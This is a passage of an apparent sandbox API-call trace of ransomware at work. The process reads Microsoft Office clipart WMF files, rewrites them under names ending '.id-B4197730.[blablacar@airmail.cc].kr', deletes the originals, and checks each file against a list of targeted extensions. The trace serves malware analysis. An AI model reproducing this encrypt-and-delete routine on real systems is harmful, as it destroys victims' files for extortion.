nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0195.265] SetEndOfFile (hFile=0x544) returned 1 [0195.265] CloseHandle (hObject=0x544) returned 1 [0195.265] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.265] SetEndOfFile (hFile=0x38c) returned 1 [0195.268] CloseHandle (hObject=0x38c) returned 1 [0195.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0195.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0195.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0195.270] lstrlenW (lpString=".doc") returned 4 [0195.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.270] lstrlenW (lpString=".docx") returned 5 [0195.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.270] lstrlenW (lpString=".pdf") returned 4 [0195.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.270] lstrlenW (lpString=".xls") returned 4 [0195.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.270] lstrlenW (lpString=".xlsx") returned 5 [0195.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.270] lstrlenW (lpString=".ppt") returned 4 [0195.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0195.270] lstrlenW (lpString=".zip") returned 4 [0195.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.270] lstrlenW (lpString=".rar") returned 4 [0195.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.271] lstrlenW (lpString=".bz2") returned 4 [0195.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.271] lstrlenW (lpString=".7z") returned 3 [0195.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0195.271] lstrlenW (lpString=".dbf") returned 4 [0195.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0195.271] lstrlenW (lpString=".1cd") returned 4 [0195.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0195.271] lstrlenW (lpString=".jpg") returned 4 [0195.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0195.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0195.327] lstrlenW (lpString=".doc") returned 4 [0195.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.327] lstrlenW (lpString=".docx") returned 5 [0195.327] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.327] lstrlenW (lpString=".pdf") returned 4 [0195.327] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.327] lstrlenW (lpString=".xls") returned 4 [0195.327] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.327] lstrlenW (lpString=".xlsx") returned 5 [0195.327] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.327] lstrlenW (lpString=".ppt") returned 4 [0195.327] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0195.327] lstrlenW (lpString=".zip") returned 4 [0195.327] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.327] lstrlenW (lpString=".rar") returned 4 [0195.327] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.327] lstrlenW (lpString=".bz2") returned 4 [0195.327] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.327] lstrlenW (lpString=".7z") returned 3 [0195.327] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0195.327] lstrlenW (lpString=".dbf") returned 4 [0195.327] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0195.328] lstrlenW (lpString=".1cd") returned 4 [0195.328] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 68 [0195.328] lstrlenW (lpString=".jpg") returned 4 [0195.328] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.328] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.328] lstrlenW (lpString="HH00526_.WMF") returned 12 [0195.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.329] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=13538) returned 1 [0195.329] CloseHandle (hObject=0x544) returned 1 [0195.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220 [0195.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.330] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.330] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.331] GetLastError () returned 0x0 [0195.331] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x34e2, lpOverlapped=0x0) returned 1 [0195.333] WriteFile (in: hFile=0x54c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x34f0, lpOverlapped=0x0) returned 1 [0195.334] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.334] WriteFile (in: hFile=0x54c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0195.334] SetEndOfFile (hFile=0x54c) returned 1 [0195.334] CloseHandle (hObject=0x54c) returned 1 [0195.334] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.334] SetEndOfFile (hFile=0x544) returned 1 [0195.338] CloseHandle (hObject=0x544) returned 1 [0195.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.338] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0195.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0195.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0195.339] lstrlenW (lpString=".doc") returned 4 [0195.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.339] lstrlenW (lpString=".docx") returned 5 [0195.339] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.339] lstrlenW (lpString=".pdf") returned 4 [0195.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.339] lstrlenW (lpString=".xls") returned 4 [0195.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.339] lstrlenW (lpString=".xlsx") returned 5 [0195.339] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.339] lstrlenW (lpString=".ppt") returned 4 [0195.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0195.339] lstrlenW (lpString=".zip") returned 4 [0195.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.339] lstrlenW (lpString=".rar") returned 4 [0195.339] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.339] lstrlenW (lpString=".bz2") returned 4 [0195.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.339] lstrlenW (lpString=".7z") returned 3 [0195.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0195.339] lstrlenW (lpString=".dbf") returned 4 [0195.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0195.340] lstrlenW (lpString=".1cd") returned 4 [0195.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0195.340] lstrlenW (lpString=".jpg") returned 4 [0195.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0195.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0195.340] lstrlenW (lpString=".doc") returned 4 [0195.340] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.340] lstrlenW (lpString=".docx") returned 5 [0195.340] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.340] lstrlenW (lpString=".pdf") returned 4 [0195.340] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.340] lstrlenW (lpString=".xls") returned 4 [0195.340] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.340] lstrlenW (lpString=".xlsx") returned 5 [0195.340] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.340] lstrlenW (lpString=".ppt") returned 4 [0195.340] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0195.340] lstrlenW (lpString=".zip") returned 4 [0195.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.340] lstrlenW (lpString=".rar") returned 4 [0195.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.341] lstrlenW (lpString=".bz2") returned 4 [0195.341] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.341] lstrlenW (lpString=".7z") returned 3 [0195.341] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0195.341] lstrlenW (lpString=".dbf") returned 4 [0195.341] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0195.341] lstrlenW (lpString=".1cd") returned 4 [0195.341] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 68 [0195.341] lstrlenW (lpString=".jpg") returned 4 [0195.341] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.341] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.341] lstrlenW (lpString="HH00527_.WMF") returned 12 [0195.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.342] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=5798) returned 1 [0195.342] CloseHandle (hObject=0x544) returned 1 [0195.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220 [0195.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.343] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.343] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.343] GetLastError () returned 0x0 [0195.343] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x16a6, lpOverlapped=0x0) returned 1 [0195.345] WriteFile (in: hFile=0x54c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0x16b0, lpOverlapped=0x0) returned 1 [0195.346] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.346] WriteFile (in: hFile=0x54c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0195.346] SetEndOfFile (hFile=0x54c) returned 1 [0195.346] CloseHandle (hObject=0x54c) returned 1 [0195.346] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.347] SetEndOfFile (hFile=0x544) returned 1 [0195.352] CloseHandle (hObject=0x544) returned 1 [0195.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0195.352] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0195.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0195.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0195.353] lstrlenW (lpString=".doc") returned 4 [0195.353] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.353] lstrlenW (lpString=".docx") returned 5 [0195.353] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.353] lstrlenW (lpString=".pdf") returned 4 [0195.353] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.353] lstrlenW (lpString=".xls") returned 4 [0195.353] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.353] lstrlenW (lpString=".xlsx") returned 5 [0195.353] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.353] lstrlenW (lpString=".ppt") returned 4 [0195.353] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0195.353] lstrlenW (lpString=".zip") returned 4 [0195.353] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.354] lstrlenW (lpString=".rar") returned 4 [0195.354] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.354] lstrlenW (lpString=".bz2") returned 4 [0195.354] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.354] lstrlenW (lpString=".7z") returned 3 [0195.354] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0195.354] lstrlenW (lpString=".dbf") returned 4 [0195.354] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0195.354] lstrlenW (lpString=".1cd") returned 4 [0195.354] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0195.354] lstrlenW (lpString=".jpg") returned 4 [0195.354] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0195.354] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0195.354] lstrlenW (lpString=".doc") returned 4 [0195.354] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.354] lstrlenW (lpString=".docx") returned 5 [0195.354] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0195.354] lstrlenW (lpString=".pdf") returned 4 [0195.354] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.354] lstrlenW (lpString=".xls") returned 4 [0195.354] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.354] lstrlenW (lpString=".xlsx") returned 5 [0195.354] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0195.354] lstrlenW (lpString=".ppt") returned 4 [0195.354] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0195.355] lstrlenW (lpString=".zip") returned 4 [0195.355] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.355] lstrlenW (lpString=".rar") returned 4 [0195.355] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.355] lstrlenW (lpString=".bz2") returned 4 [0195.355] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.355] lstrlenW (lpString=".7z") returned 3 [0195.355] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0195.355] lstrlenW (lpString=".dbf") returned 4 [0195.355] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0195.355] lstrlenW (lpString=".1cd") returned 4 [0195.355] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68 [0195.355] lstrlenW (lpString=".jpg") returned 4 [0195.355] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.355] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0195.355] lstrlenW (lpString="HH00546_.WMF") returned 12 [0195.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.356] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=3718) returned 1 [0195.356] CloseHandle (hObject=0x544) returned 1 [0195.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220 [0195.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0195.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0195.357] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.357] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0195.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0195.357] GetLastError () returned 0x0 [0195.357] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0xe86, lpOverlapped=0x0) returned 1 [0195.359] WriteFile (in: hFile=0x54c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xe90, lpOverlapped=0x0) returned 1 [0195.360] ReadFile (in: hFile=0x544, lpBuffer=0x45d2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0195.360] WriteFile (in: hFile=0x54c, lpBuffer=0x45d2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x45d2020*, lpNumberOfBytesWritten=0x39ffc94*=0xec, lpOverlapped=0x0) returned 1 [0195.360] SetEndOfFile (hFile=0x54c) returned 1 [0195.361] CloseHandle (hObject=0x54c) returned 1 [0195.361] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 